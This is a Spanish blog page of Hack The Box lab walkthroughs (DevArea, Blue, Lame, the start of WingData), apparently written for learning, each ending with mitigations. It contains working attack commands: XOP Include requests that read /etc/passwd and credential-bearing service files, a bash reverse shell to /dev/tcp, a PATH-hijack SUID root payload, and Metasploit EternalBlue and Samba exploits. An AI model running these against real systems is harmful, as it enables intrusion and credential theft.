devuelve en Base64 en la respuesta.\nFlujo normal: campo content = \u0026#34;texto\u0026#34; → SOAP response con ese texto reflejado Flujo malicioso: campo content = \u0026lt;xop:Include href=\u0026#34;file:///ruta\u0026#34;/\u0026gt; → CXF resuelve la referencia, lee el archivo local, devuelve contenido en Base64 4.1 Verificación del Servicio # Antes del exploit, confirmamos que el endpoint SOAP responde correctamente:\ncurl -X POST \\ -H \u0026#39;Content-Type: multipart/related; type=\u0026#34;text/xml\u0026#34;; boundary=\u0026#34;boundary\u0026#34;; start=\u0026#34;\u0026lt;main\u0026gt;\u0026#34;\u0026#39; \\ -H \u0026#39;SOAPAction: \u0026#34;\u0026#34;\u0026#39; \\ --data-binary @- \\ http://devarea.htb:8080/employeeservice \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; --boundary Content-Type: text/xml; charset=UTF-8 Content-ID: \u0026lt;main\u0026gt; \u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt;TEST_CONTENT\u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;IT\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;Hacker\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; --boundary-- EOF \u0026lt;return\u0026gt;Report received from Hacker. Department: IT. Content: TEST_CONTENT\u0026lt;/return\u0026gt; El campo content se refleja.\n4.2 Lectura de /etc/passwd # Sustituimos el texto por un elemento xop:Include apuntando al archivo:\ncurl -X POST \\ -H \u0026#39;Content-Type: multipart/related; type=\u0026#34;text/xml\u0026#34;; boundary=\u0026#34;boundary\u0026#34;; start=\u0026#34;\u0026lt;main\u0026gt;\u0026#34;\u0026#39; \\ -H \u0026#39;SOAPAction: \u0026#34;\u0026#34;\u0026#39; \\ --data-binary @- \\ http://devarea.htb:8080/employeeservice \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; --boundary Content-Type: text/xml; charset=UTF-8 Content-ID: \u0026lt;main\u0026gt; \u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt; \u0026lt;xop:Include href=\u0026#34;file:///etc/passwd\u0026#34; xmlns:xop=\u0026#34;http://www.w3.org/2004/08/xop/include\u0026#34;/\u0026gt; \u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;IT\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;Hacker\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; --boundary-- EOF La respuesta contiene /etc/passwd codificado en Base64:\nContent: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo... echo \u0026#34;cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...\u0026#34; | base64 -d root:x:0:0:root:/root:/bin/bash ... dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin 💡 Usuarios de interés:\ndev_ryan — único usuario normal con shell (/bin/bash) syswatch — usuario de servicio en /opt/syswatch; relevante para privesc 4.3 Lectura del Servicio Hoverfly (systemd) # Con el mismo método leemos la configuración del servicio en el puerto 8888:\n\u0026lt;xop:Include href=\u0026#34;file:///etc/systemd/system/hoverfly.service\u0026#34; xmlns:xop=\u0026#34;http://www.w3.org/2004/08/xop/include\u0026#34;/\u0026gt; echo \u0026#34;W1VuaXRdCk...\u0026#34; | base64 -d [Unit] Description=HoverFly service After=network.target [Service] User=dev_ryan Group=dev_ryan WorkingDirectory=/opt/HoverFly ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0 [Install] WantedBy=multi-user.target 🔑 Credenciales encontradas: admin:O7IJ27MyyXiU para Hoverfly en el puerto 8888. Las credenciales están en texto claro en el parámetro de arranque del proceso — visible en /proc, en el log de systemd y en cualquier archivo de configuración del servicio.\n5. RCE mediante Hoverfly Middleware # Hoverfly es una herramienta de virtualización de servicios que puede ejecutar scripts externos (\u0026ldquo;middleware\u0026rdquo;) para procesar tráfico interceptado en tiempo real. El middleware recibe cada petición/respuesta en JSON a través de stdin y devuelve la respuesta modificada por stdout. Si configuramos como middleware un script que lance una reverse shell, el servidor lo ejecutará en el contexto del usuario dev_ryan.\n5.1 Obtener el Token JWT # curl -s -X POST http://devarea.htb:8888/api/token-auth \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;username\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;O7IJ27MyyXiU\u0026#34;}\u0026#39; {\u0026#34;token\u0026#34;:\u0026#34;eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4...\u0026#34;} 5.2 Configurar el Middleware con Reverse Shell # Abrimos un listener en nuestra máquina:\nnc -lvnp 4444 Enviamos el payload al endpoint de middleware. El campo binary especifica el intérprete y script el código a ejecutar:\ncurl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \\ -H \u0026#34;Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;binary\u0026#34;: \u0026#34;/bin/bash\u0026#34;, \u0026#34;script\u0026#34;: \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.237/4444 0\u0026gt;\u0026amp;1\u0026#34;, \u0026#34;remote\u0026#34;: \u0026#34;\u0026#34; }\u0026#39; Listening on 0.0.0.0 4444 Connection received on 10.129.10.216 37422 bash: no job control in this shell dev_ryan@devarea:/opt/HoverFly$ ✅ Shell obtenida como dev_ryan.\n6. User Flag # dev_ryan@devarea:~$ cat user.txt 🔑 Flag de usuario obtenida.\n7. Escalada de Privilegios — Bash PATH Hijacking # 7.1 Enumeración de Permisos sudo # dev_ryan@devarea:~$ sudo -l User dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart Análisis de la regla:\n✅ Podemos ejecutar /opt/syswatch/syswatch.sh como root sin contraseña ❌ Los argumentos web-stop y web-restart están bloqueados (prefijo !) El script y su directorio no son accesibles directamente: dev_ryan@devarea:~$ ls -la /opt/syswatch/ ls: cannot open directory \u0026#39;/opt/syswatch/\u0026#39;: Permission denied 7.2 La Vulnerabilidad — PATH Hijacking # El script syswatch.sh probablemente invoca comandos del sistema (ps, grep, date, etc.) sin rutas absolutas. Cuando bash ejecuta un comando por nombre, lo busca en los directorios del $PATH de izquierda a derecha. Si colocamos un ejecutable malicioso con el mismo nombre en un directorio que aparezca primero en el PATH, bash lo ejecutará en lugar del binario legítimo — con los privilegios de root.\nFlujo normal: syswatch.sh llama a \u0026#34;ps\u0026#34; → bash busca en PATH → /bin/ps Flujo malicioso: PATH=/tmp:... → bash busca en /tmp primero → /tmp/ps (nuestro payload) → ejecutado como root 7.3 Crear el Payload SUID # cat \u0026gt; /tmp/payload.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; #!/bin/sh cp /bin/sh /tmp/root_sh \u0026amp;\u0026amp; chmod +s /tmp/root_sh EOF chmod +x /tmp/payload.sh El payload copia /bin/sh a /tmp/root_sh y activa el bit SUID (+s). Cualquier usuario que ejecute /tmp/root_sh lo hará con los permisos del propietario del binario — que después de ser copiado por root será root.\nPara cubrir los comandos más comunes sin saber cuál usa el script internamente:\nfor cmd in ps grep date id cat ls; do ln -s /tmp/payload.sh /tmp/$cmd done 7.4 Secuestrar el PATH y Ejecutar el Script como Root # export PATH=/tmp:$PATH sudo /opt/syswatch/syswatch.sh --version El primer comando sin ruta absoluta que encuentre en el script ejecutará nuestro payload. Root copia /bin/sh y activa el SUID.\n7.5 Obtener la Shell de Root # /tmp/root_sh -p # id uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) egid=0(root) -p: Activa el modo \u0026ldquo;privilegiado\u0026rdquo; de sh, que no descarta el EUID elevado al inicio. Sin este flag, la shell ignoraría el bit SUID como medida de seguridad moderna.\n✅ Escalada a root completada.\n8. Root Flag # # cat /root/root.txt 🏁 Flag de root obtenida.\n9. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → FTP anónimo expone employee-service.jar; Hoverfly Dashboard en puerto 8888. Reversing → jadx sobre el JAR → Apache CXF 3.2.14 → CVE-2022-46364; campo content reflejado. CVE-2022-46364 → XOP Include LFI → /etc/passwd (usuarios) + /etc/systemd/system/hoverfly.service (credenciales). Credenciales Hoverfly → admin:O7IJ27MyyXiU → token JWT → Middleware RCE → shell como dev_ryan. User flag → ~/user.txt. PrivEsc → sudo sin contraseña sobre syswatch.sh → PATH Hijacking → binario SUID → root. Lo que aprendí con esta máquina:\nEl FTP anónimo puede exponer más que datos — puede exponer el código fuente del objetivo. El JAR descargado contenía la versión exacta de la dependencia vulnerable. Sin esa información, encontrar el vector de ataque habría requerido fuzzing ciego del servicio SOAP. Leer el código primero convirtió una búsqueda a ciegas en un ataque dirigido.\nCVE-2022-46364 es un ejemplo de por qué las dependencias de terceros tienen que estar en el radar del equipo de seguridad. El código de la aplicación en sí no tiene ningún bug — el problema está en la librería de parsing de mensajes SOAP. Mantener un inventario actualizado de dependencias (SBOM) y monitorizar CVEs contra ese inventario es la única forma de detectar este tipo de exposición antes de que lo haga un atacante.\nXOP fue diseñado para incluir binarios en mensajes SOAP de forma eficiente; el abuso con file:// es una consecuencia de que el parser no valide el esquema del URI. La corrección en CXF 3.5.5 consistió precisamente en bloquear esquemas distintos de http:// y https:// en xop:Include. Es un ejemplo de fallar-abierto por defecto: la librería aceptaba cualquier URI válido sin restricción de esquema.\nLas credenciales en los parámetros de arranque de un proceso son visibles para cualquier usuario del sistema. El comando ExecStart de systemd con -password O7IJ27MyyXiU aparece en /proc/\u0026lt;pid\u0026gt;/cmdline, en el log de journald y en el archivo de configuración del servicio. Si el LFI no hubiera existido, ps aux desde cualquier usuario con acceso al sistema habría revelado la misma contraseña.\nPATH Hijacking en scripts sudo es uno de los vectores de privesc más infravalorados. La gente revisa SUID, capabilities y crons, pero no siempre comprueba si los scripts privilegiados llaman binarios con rutas relativas. La defensa es trivial: usar /bin/ps en lugar de ps, y secure_path en sudoers.\nMitigaciones:\nVector Mitigación FTP anónimo con binarios internos Deshabilitar acceso anónimo; no exponer artefactos de desarrollo en producción Apache CXF 3.2.14 (CVE-2022-46364) Actualizar a CXF ≥ 3.5.5 o ≥ 3.4.10 Credenciales en parámetros de proceso (systemd) Usar EnvironmentFile con archivo de secrets; los argumentos de CLI son visibles para todos los usuarios del sistema Hoverfly Middleware accesible desde red Bindear solo a 127.0.0.1; restringir la API con firewall si no se necesita acceso remoto sudo sobre script con binarios sin ruta absoluta Añadir secure_path en sudoers; usar rutas absolutas en todos los comandos del script Bit SUID explotable post-escalada Auditar regularmente find / -perm -4000 2\u0026gt;/dev/null; monitorizar cambios en /tmp ","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/posts/htb-devarea/","section":"Posts","summary":" Resolución de DevArea en Hack The Box. Máquina de dificultad Medium con sistema operativo Linux Ubuntu. Un servicio Java SOAP descargado via FTP anónimo resulta ser Apache CXF 3.2.14, vulnerable al CVE-2022-46364 (XOP Include LFI). Usamos el fallo para leer credenciales de Hoverfly desde la configuración de systemd y obtenemos RCE mediante el sistema de Middleware. La escalada a root aprovecha un PATH Hijacking en un script ejecutado con sudo. HackTheBox Linux Medium ","title":"HTB Walkthrough: DevArea","type":"posts"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/lfi/","section":"Tags","summary":"","title":"LFI","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/middlewarerce/","section":"Tags","summary":"","title":"MiddlewareRCE","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/pathhijacking/","section":"Tags","summary":"","title":"PATHHijacking","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/soap/","section":"Tags","summary":"","title":"SOAP","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/xopinclude/","section":"Tags","summary":"","title":"XOPInclude","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/blue/","section":"Tags","summary":"","title":"Blue","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/cve-2007-2447/","section":"Tags","summary":"","title":"CVE-2007-2447","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/cve-2025-47812/","section":"Tags","summary":"","title":"CVE-2025-47812","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/eternalblue/","section":"Tags","summary":"","title":"EternalBlue","type":"tags"},{"content":"","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/hashcat/","section":"Tags","summary":"","title":"Hashcat","type":"tags"},{"content":" Resolución de Blue en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows 7 SP1. El vector es el infame exploit EternalBlue (MS17-010), una vulnerabilidad en SMBv1 que compromete el kernel de Windows y entrega acceso directo como NT AUTHORITY\\SYSTEM sin necesidad de credenciales. HackTheBox Windows Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Blue OS Windows 7 Professional SP1 (x64) Dificultad Easy IP 10.129.10.54 Técnicas SMB Enumeration · EternalBlue · Kernel Exploit CVE / MS MS17-010 (CVE-2017-0144) 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.54 PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open msrpc 49153/tcp open msrpc 49154/tcp open msrpc Escaneo de versiones sobre los puertos relevantes:\nnmap -sC -sV -p135,139,445 10.129.10.54 PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds Host script results: | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC |_ System time: 2026-03-28T15:00:03+00:00 Puertos abiertos:\n135, 139, 445 → Stack SMB/NetBIOS de Windows — patrón clásico de sistema Windows con recursos compartidos expuestos 49152+ → Puertos dinámicos RPC (Microsoft EPMAP) 💡 Dato clave: El script smb-os-discovery confirma Windows 7 Professional SP1 x64. Esta versión es vulnerable a MS17-010 si no tiene el parche KB4012212 aplicado. El nombre de host haris-PC sugiere una máquina de escritorio, no un servidor hardened.\n1.2 Enumeración SMB # Antes de explotar nada, enumeramos los recursos compartidos para entender la superficie expuesta:\nsmbclient -N -L //10.129.10.54 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Share Disk Users Disk Los shares son visibles mediante null session (-N), pero smbmap confirma que no tenemos permisos de lectura ni escritura sin credenciales:\nsmbmap -H 10.129.10.54 [!] Access denied on 10.129.10.54, no fun for you... Sin credenciales válidas no podemos acceder a los archivos. El único camino es explotar la vulnerabilidad del servicio en sí.\n💡 Conclusiones: SMBv1 activo, Windows 7 SP1 sin parchear, puerto 445 accesible. Todos los requisitos para MS17-010 están presentes.\n2. Explotación — MS17-010 EternalBlue # 2.1 Análisis de la Vulnerabilidad # EternalBlue es un exploit desarrollado por la NSA y filtrado públicamente por el grupo Shadow Brokers en abril de 2017. Explota un desbordamiento de buffer en el pool no paginado del kernel de Windows al procesar paquetes SMBv1 malformados.\nFlujo normal: paquete SMBv1 → srv.sys valida el buffer → procesa la petición Flujo malicioso: paquete SMBv1 malformado → srv.sys no valida el tamaño → overflow en kernel → inyección de shellcode → ejecución como SYSTEM La razón por la que entregamos SYSTEM directamente es que srv.sys — el driver que gestiona SMB — corre en modo kernel. No hay necesidad de escalada de privilegios posterior. Si el puerto 445 es accesible y SMBv1 está habilitado, la máquina es vulnerable independientemente de las credenciales del atacante.\n2.2 Configuración del Exploit en Metasploit # msf6 \u0026gt; use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) \u0026gt; set RHOSTS 10.129.10.54 msf6 exploit(ms17_010_eternalblue) \u0026gt; set LHOST tun0 El módulo usa por defecto el payload windows/x64/meterpreter/reverse_tcp, adecuado para la arquitectura x64 del objetivo.\n2.3 Ejecución # msf6 exploit(ms17_010_eternalblue) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.237:4444 [+] 10.129.10.54:445 - Host is likely VULNERABLE to MS17-010! [+] 10.129.10.54:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] Sending stage (244806 bytes) to 10.129.10.54 [*] Meterpreter session 1 opened (10.10.15.237:4444 -\u0026gt; 10.129.10.54:49158) La línea ETERNALBLUE overwrite completed successfully confirma que el kernel ha sido comprometido y el stage de Meterpreter ha sido inyectado en memoria. Verificamos privilegios:\nmeterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM NT AUTHORITY\\SYSTEM es el nivel de privilegio máximo en Windows, equivalente a root en Linux. No se requiere ningún paso adicional de escalada.\n3. User Flag # meterpreter \u0026gt; cd C:\\Users\\haris\\Desktop meterpreter \u0026gt; cat user.txt 🔑 Flag de usuario obtenida.\n4. Root Flag # No hay escalada de privilegios — EternalBlue entrega SYSTEM directamente. Accedemos al escritorio del Administrador:\nmeterpreter \u0026gt; cd C:\\Users\\Administrator\\Desktop meterpreter \u0026gt; cat root.txt 🏁 Flag de root obtenida.\n5. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Nmap + smb-os-discovery confirman Windows 7 SP1 x64 sin parchear con SMB expuesto. Enumeración SMB → SMBv1 activo, null session visible pero sin acceso a archivos. MS17-010 → EternalBlue via Metasploit → desbordamiento en kernel → shell directa como NT AUTHORITY\\SYSTEM. Flags → Sin escalada necesaria, acceso directo a ambos escritorios → user.txt + root.txt. Lo que aprendí con esta máquina:\nLa identificación precisa del SO es crítica en Windows. La diferencia de versión, Service Pack y arquitectura puede determinar si un exploit funciona o no. El script smb-os-discovery de Nmap extrae esta información directamente del protocolo SMB sin necesidad de credenciales.\nEternalBlue no requiere credenciales — solo acceso al puerto 445 con SMBv1 activo. Es una vulnerabilidad de nivel de red que afecta al kernel directamente. Esto lo diferencia de la mayoría de exploits, que requieren algún tipo de autenticación previa.\nUn exploit de nivel kernel entrega el máximo privilegio desde el primer momento. En Windows, srv.sys corre en modo kernel, así que cualquier código inyectado a través de él hereda ese contexto — SYSTEM sin pasos adicionales. Esto muestra por qué las vulnerabilidades de kernel son las más graves.\nEternalBlue fue el vector inicial de WannaCry y NotPetya. Ambos ataques ocurrieron en 2017, semanas después de que el parche estuviera disponible, y afectaron a cientos de miles de sistemas. El tiempo entre la publicación de un parche y su aplicación masiva es la ventana que explotan los atacantes a escala global.\nMitigaciones:\nVector Mitigación MS17-010 sin parchear Aplicar el boletín MS17-010 (KB4012212) — defensa más crítica contra este vector SMBv1 habilitado Deshabilitar SMBv1 completamente; usar únicamente SMBv2 o SMBv3 Windows 7 sin soporte (EOL enero 2020) Migrar a un SO con soporte activo (Windows 10/11 o Windows Server moderno) Puerto 445 expuesto en la red Segmentar la red y bloquear el 445 desde el exterior; aislar máquinas legacy en VLANs separadas ","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/posts/htb-blue/","section":"Posts","summary":" Resolución de Blue en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows 7 SP1. El vector es el infame exploit EternalBlue (MS17-010), una vulnerabilidad en SMBv1 que compromete el kernel de Windows y entrega acceso directo como NT AUTHORITY\\SYSTEM sin necesidad de credenciales. HackTheBox Windows Easy ","title":"HTB Walkthrough: Blue","type":"posts"},{"content":" Resolución de Lame, una de las máquinas más clásicas de Hack The Box. Dificultad Easy con sistema operativo Linux. El vector principal es una vulnerabilidad de ejecución remota de código en Samba 3.0.20 (CVE-2007-2447) que, por la forma en que Samba procesa nombres de usuario, ejecuta comandos de shell arbitrarios con los privilegios del servicio — en este caso, root. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Lame OS Linux Dificultad Easy IP 10.129.10.27 Técnicas SMB Enumeration · CVE-2007-2447 · Command Injection CVE CVE-2007-2447 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.27 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds Escaneo de versiones sobre los puertos abiertos:\nnmap -sC -sV -p21,22,139,445 10.129.10.27 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Puertos abiertos:\n21 → vsftpd 2.3.4 con acceso anónimo habilitado 22 → OpenSSH 4.7p1 (versión antigua, sin exploits directos accesibles) 139/445 → Samba 3.0.20 — versión conocida por tener vulnerabilidades críticas de RCE 💡 Dato clave: Dos versiones muy antiguas saltan a la vista: vsftpd 2.3.4 (conocida por un backdoor de 2011) y Samba 3.0.20 (vulnerable a CVE-2007-2447). Ambas son candidatas, pero Samba corre como root en esta máquina — es el vector prioritario.\n1.2 Enumeración SMB y FTP # Comprobamos los recursos compartidos de Samba y sus permisos:\nsmbmap -H 10.129.10.27 Disk Permissions Comment print$ NO ACCESS Printer Drivers tmp READ, WRITE oh noes! opt NO ACCESS IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) El recurso tmp tiene permisos de lectura y escritura sin autenticación. Lo inspeccionamos:\nsmbclient //10.129.10.27/tmp -N smb: \\\u0026gt; ls .ICE-unix DH 0 Sat Mar 28 12:54:24 2026 vmware-root DR 0 Sat Mar 28 12:54:30 2026 .X11-unix DH 0 Sat Mar 28 12:54:50 2026 Solo archivos temporales del sistema, nada útil. El FTP anónimo también devuelve un directorio vacío. El vector está en la versión de Samba.\n💡 Conclusiones: Samba 3.0.20 confirmado, acceso anónimo al share tmp disponible. Procedemos a explotar CVE-2007-2447 directamente.\n2. Explotación # 2.1 Intento Fallido — vsftpd 2.3.4 Backdoor # Antes de ir a Samba, probamos el backdoor conocido de vsftpd 2.3.4. Esta versión fue comprometida en sus repositorios oficiales en 2011 e incluía un backdoor que abre el puerto 6200/TCP al recibir un usuario terminado en :).\nmsf6 \u0026gt; use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(vsftpd_234_backdoor) \u0026gt; set RHOSTS 10.129.10.27 msf6 exploit(vsftpd_234_backdoor) \u0026gt; run [!] 10.129.10.27:21 - Unable to connect to backdoor on 6200/TCP. [*] Exploit completed, but no session was created. El backdoor no responde. Aunque la versión es vulnerable, el puerto 6200 está bloqueado a nivel de red o el binario fue parcheado en esta máquina. Pasamos al plan B.\n2.2 Análisis de la Vulnerabilidad — CVE-2007-2447 # Samba 3.0.20 es vulnerable a esta CVE por la opción username map script en smb.conf. Cuando está activa, Samba permite pasar el nombre de usuario a un script externo para hacer mapeos de identidad. El problema: no sanitiza la entrada antes de pasarla al shell. Si el nombre de usuario contiene metacaracteres de shell como ` o $(), Samba los ejecuta directamente en el sistema operativo.\nFlujo normal: cliente envía usuario → Samba mapea con script externo → autentica Flujo malicioso: cliente envía \u0026#34;/`comando`\u0026#34; → Samba ejecuta el comando en el SO → RCE El proceso de Samba en esta máquina corre como root, así que cualquier comando inyectado se ejecuta con privilegios máximos sin necesidad de escalada posterior.\n2.3 Ejecución # msf6 \u0026gt; use exploit/multi/samba/usermap_script msf6 exploit(usermap_script) \u0026gt; set RHOSTS 10.129.10.27 msf6 exploit(usermap_script) \u0026gt; set LHOST tun0 msf6 exploit(usermap_script) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.237:4444 [*] Command shell session 1 opened (10.10.15.237:4444 -\u0026gt; 10.129.10.27:49024) id uid=0(root) gid=0(root) ✅ Shell obtenida directamente como root.\n3. User Flag # cat /home/makis/user.txt 🔑 Flag de usuario obtenida.\n4. Root Flag # No hay escalada de privilegios — CVE-2007-2447 entrega root directamente por el contexto en que corre Samba.\ncat /root/root.txt 🏁 Flag de root obtenida.\n5. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Nmap detecta vsftpd 2.3.4 y Samba 3.0.20 con acceso anónimo. Enumeración SMB → Share tmp con permisos READ/WRITE, sin archivos útiles. vsftpd backdoor → Intentado, fallido — puerto 6200 bloqueado a nivel de red. CVE-2007-2447 → Username Map Script en Samba 3.0.20 → command injection → shell directa como root. Flags → Sin escalada necesaria, acceso directo a ambos directorios → user.txt + root.txt. Lo que aprendí con esta máquina:\nIdentificar versiones concretas de servicios es más importante que identificar puertos. El puerto 445 abierto es genérico; Samba 3.0.20 es un CVE directamente. La diferencia entre -sV y no usarlo puede ser la diferencia entre encontrar el vector o no.\nTener siempre un plan B cuando hay múltiples servicios vulnerables. El backdoor de vsftpd era el vector aparentemente más sencillo, pero estaba bloqueado. Sin la pista de Samba como alternativa, la máquina habría parecido sin solución.\nCVE-2007-2447 es un ejemplo clásico de command injection por falta de sanitización. El parámetro username map script acepta entrada del usuario y la pasa al shell sin escapar metacaracteres. Cualquier dato externo que llegue a un intérprete de comandos sin sanitización es un vector de inyección — regla universal.\nEl contexto en que corre un servicio determina el impacto de su explotación. Si Samba corriera como un usuario sin privilegios, necesitaríamos escalada. Corriendo como root, el primer acceso ya es el acceso máximo. Al enumerar un servicio, siempre vale la pena identificar con qué usuario corre (ps aux, unit files de systemd, etc.).\nMitigaciones:\nVector Mitigación Samba 3.0.20 (CVE-2007-2447) Actualizar a una versión moderna con soporte activo username map script activo Deshabilitar esta opción en smb.conf si no es estrictamente necesaria Samba corriendo como root Ejecutar Samba con un usuario de servicio sin privilegios FTP anónimo habilitado Deshabilitar el acceso sin credenciales aunque el directorio esté vacío Puertos 139/445 expuestos en la red Restringir acceso a SMB a IPs de confianza mediante firewall ","date":"28 de marzo de 2026","externalUrl":null,"permalink":"/es/posts/htb-lame/","section":"Posts","summary":" Resolución de Lame, una de las máquinas más clásicas de Hack The Box. Dificultad Easy con sistema operativo Linux. El vector principal es una vulnerabilidad de ejecución remota de código en Samba 3.0.20 (CVE-2007-2447) que, por la forma en que Samba procesa nombres de usuario, ejecuta comandos de shell arbitrarios con los privilegios del servicio — en este caso, root. HackTheBox Linux Easy ","title":"HTB Walkthrough: Lame","type":"posts"},{"content":" Resolución de WingData en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. RCE mediante CVE-2025-47812, un bypass de autenticación por byte nulo en Wing FTP Server que otorga acceso al panel de administración y ejecución de código remota. Tras crackear credenciales de usuario con hashcat (SHA-256 con salt), escalamos a root explotando un bypass de PATH_MAX en el módulo tarfile de Python ejecutado con privilegios sudo. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre WingData OS Linux (Debian 12) Dificultad Easy IP 10.129.10.66 Técnicas CVE-2025-47812 · NULL-byte Auth Bypass · SHA-256 Salted Hash · tarfile PATH_MAX PrivEsc 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -sV 10.129.10.66 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel Puertos abiertos:\n22 → OpenSSH 9.2p1, sin exploits públicos conocidos para este release. Lo guardamos como entrada posible si obtenemos credenciales válidas. 80 → Apache 2.4.66; puede haber paneles de administración o redirecciones a subdominios adicionales. Lanzamos un segundo escaneo con -sC (scripts por defecto de nmap) sobre el puerto 80 para detectar redirecciones y metadatos:\nnmap -sC 10.129.10.66 -p80 PORT STATE SERVICE 80/tcp open http |_http-title: Did not follow redirect to http://wingdata.htb/ El servidor redirige a http://wingdata.htb/. Esto indica Virtual Hosting basado en nombre de dominio: el servidor Apache devuelve contenido diferente según el campo Host: de la cabecera HTTP. Si accedemos directamente por IP no obtendremos el contenido correcto.\nComo en HTB no hay DNS que resuelva wingdata.htb, añadimos la 